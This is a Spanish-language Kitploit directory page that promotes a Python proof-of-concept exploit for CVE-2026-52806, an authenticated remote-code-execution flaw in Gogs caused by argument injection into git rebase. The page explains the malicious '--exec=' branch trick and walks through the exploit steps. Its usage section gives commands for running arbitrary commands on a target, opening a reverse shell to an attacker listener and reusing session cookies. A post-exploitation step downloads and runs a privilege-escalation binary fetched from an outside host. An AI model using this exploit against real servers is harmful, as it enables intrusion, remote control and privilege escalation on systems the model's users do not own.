Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-52806 — Gogs RCE mediante inyección de argumentos en git rebase (CWE-88) — PoC en Python. CVE-2026-52806 | Kitploit
Herramientas/GitHubGitHub/portbuster1337/cve-2026-52806
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónCTFPruebas de PenetraciónComando y ControlAprendizaje y EducaciónDesarrollo de Payloads
GitHubportbuster1337/cve-2026-52806
61hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-52806

Gogs RCE mediante inyección de argumentos en git rebase (CWE-88) — PoC en Python. CVE-2026-52806

Ver RepositorioSitio web

Gogs RCE — Inyección de argumentos en git rebase (CWE-88)

Ejecución remota de código autenticada contra Gogs (<= 0.14.2 y 0.15.0+dev) mediante inyección de argumentos en el flujo de fusión de pull requests.

CVE-2026-52806

Vulnerabilidad

La función Merge() en internal/database/pull.go pasa el nombre de la rama base del PR a git rebase sin un separador --. Una rama llamada --exec=<COMMAND> es interpretada por Git como el flag --exec en lugar de un argumento posicional, lo que provoca que sh -c <COMMAND> se ejecute después de cada commit reproducido durante el rebase.

Cómo funciona el exploit

  1. Pre-flight — determina si el objetivo ejecuta Gogs, identifica la versión mediante el parámetro ?v= en los recursos estáticos y comprueba si el registro de usuarios está abierto, protegido por captcha o deshabilitado.
  2. Autenticación — si no se proporcionan credenciales, intenta auto-registrarse (sin captcha) o, si el captcha está habilitado, muestra un mensaje indicando al usuario que cree una cuenta en la página de registro del objetivo y vuelva a ejecutar con -u <username> -pw <password>. Crea un token de API mediante autenticación Basic o la página de ajustes web.
  3. Configuración del repositorio — crea un repositorio privado temporal mediante la API de Gogs y habilita Rebase antes de fusionar en los ajustes.
  4. Manipulación de ramas Git — inicializa localmente un repositorio git y envía:
    • Una rama master con un README
    • Una rama feature-* con un commit divergente
    • Una rama maliciosa llamada --exec=sh${IFS}.payload que contiene un script que ejecuta el comando del atacante en segundo plano
  5. Pull request — abre un PR desde la rama feature hacia la rama maliciosa --exec=.
  6. Disparador — envía un POST al endpoint de fusión con merge_style=rebase_before_merging. Gogs ejecuta internamente git rebase --exec=sh${IFS}.payload, que ejecuta el payload después de cada commit reproducido.

Requisitos

  • Python 3.6+
  • requests (pip install requests)
  • Instalación local de git

Uso

root@kitploit:~
python3 gogs.py <target> [options]

Verificación pre-flight

root@kitploit:~
python3 gogs.py http://target:3000 --preflight-only

Informa:

  • Registration: ENABLED (no captcha) — puede auto-registrarse
  • Registration: ENABLED (CAPTCHA DETECTED) — cree una cuenta manualmente en la página de registro del objetivo y luego proporcione las credenciales con -u / -pw
  • Registration: DISABLED — se necesitan credenciales existentes de un administrador

Ejecutar el exploit

root@kitploit:~
# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"

# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"

# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444

# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"

# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"

Opciones

Post-Explotación

Una vez que tenga una shell en el objetivo, el proceso de Gogs normalmente se ejecuta como un usuario con pocos privilegios (p. ej. git en Docker). Para intentar escalar privilegios a root, descargue y ejecute el binario lpe-toolkit desde la página de lanzamientos del proyecto:

root@kitploit:~
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64

El toolkit enumera exploits de kernel, configuraciones incorrectas y otros vectores comunes de escalada.

Referencias

  • Publicación del blog de Rapid7 — RCE autenticada mediante inyección de argumentos en Gogs (sin corregir)
  • Módulo de Metasploit — exploit/multi/http/gogs_rebase_rce de Rapid7 por Jonah Burgess (CryptoCat) (PR #21515)
  • GHSA — qf6p-p7ww-cwr9 (gogs/gogs)
  • Gogs — https://github.com/gogs/gogs

Este PoC en Python está inspirado en el módulo de Metasploit publicado. La vulnerabilidad fue descubierta y divulgada de forma responsable por Jonah Burgess (CryptoCat) en Rapid7.

Aviso legal

Esta herramienta se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito de prueba es ilegal. Los autores no son responsables del mal uso o de los daños causados por este software.

Nota

La API de Gogs no admite la eliminación de tokens, por lo que los tokens de acceso a la API creados durante la explotación persistirán y deberán eliminarse manualmente en /user/settings/applications de la instancia objetivo.

Descargar herramienta
  • Limpieza — elimina el repositorio temporal y los archivos temporales locales.
  • FlagDescripción
    targetHost[:puerto] (p. ej. 47.109.58.140:9000)
    -p, --portPuerto HTTP (predeterminado: 3000)
    -u, --usernameNombre de usuario de Gogs
    -pw, --passwordContraseña de Gogs
    --cookieCadena de la cookie de sesión
    --cmdComando a ejecutar en el objetivo
    --listenerShell inversa host:port
    --lhost / --lportHost y puerto de la shell inversa
    --sslUsar HTTPS
    --preflight-onlyEjecutar solo las comprobaciones pre-flight